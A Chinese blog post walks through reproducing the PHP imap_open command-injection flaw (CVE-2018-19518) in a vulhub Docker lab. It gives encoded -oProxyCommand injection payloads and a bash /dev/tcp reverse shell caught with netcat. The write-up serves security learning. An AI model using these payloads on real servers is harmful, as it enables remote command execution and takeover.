PHP imap 远程命令执行漏洞(CVE-2018-19518)漏洞复现

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

启动实验环境

cd /vulhub/php/CVE-2018-19518
sudo docker-compose up -d

漏洞利用

输入数据,使用burpsuite抓包

上述中x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}的意思如下

  • 使用url编码解码后x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}
  • ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=的意思是echo '1234567890'>/tmp/test0001
  • 通过-oProxyCommand参数执行命令,x可以是任意值

执行后进入容器查看是否执行成功

可以看到命令执行成功

反弹shell

这里有很多反弹shell的思路,可以直接传入命令执行反弹shell,但是更稳定的方法是写入反弹shell文件,然后执行反弹shell文件获得稳定控制权限

  1. 准备反弹shell代码
    这时就遇到一个问题,在docker中,我们并不知道容器的IP和本机的IP地址,在一些一般默认情况下,你的docker容器可以上网,可以使用apt install net-tools安装ifconfig查看容器IP地址,通过tracrroute上网找到宿主机IP,宿主机器的IP也可以通过在宿主机器执行ifconfig获取到(有时候有,有时候没有),但是这是一个非常low的方法,这是因为我的docker使用的不熟练

其实可以通过docker inspect 容器ID直接获取容器的所有信息,其中就含有容器的IP默认网关的IP,一般情况下默认网关的IP就是我们宿主机的IP

接着构造payload

echo "/bin/bash -i >& /dev/tcp/172.22.0.1/4444 0>&1" > /tmp/123
# base64encode
ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz
# 将base64编码内容替换
x+-oProxyCommand%3decho%09[base64编码内容]|base64%09-d|sh}&username=111&password=222
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz|base64%09-d|sh}
# 将base64编码内容再次进行url编码
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA%2bIC90bXAvMTIz|base64%09-d|sh}
  1. payload粘贴到hostname参数,提交

3.使用/bin/bash触发/tmp/123反弹shell脚本
构造payload

/bin/bash /tmp/123
# base64encode
L2Jpbi9iYXNoIC90bXAvMTIz
# 替换base64内容后进行url编码
x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvMTIz|base64%09-d|sh}

首先本地监听nc -lvp 4444

提交

获得shell

实验结束。

posted @ 2024-04-07 15:24  Junglezt  阅读(192)  评论(0编辑  收藏  举报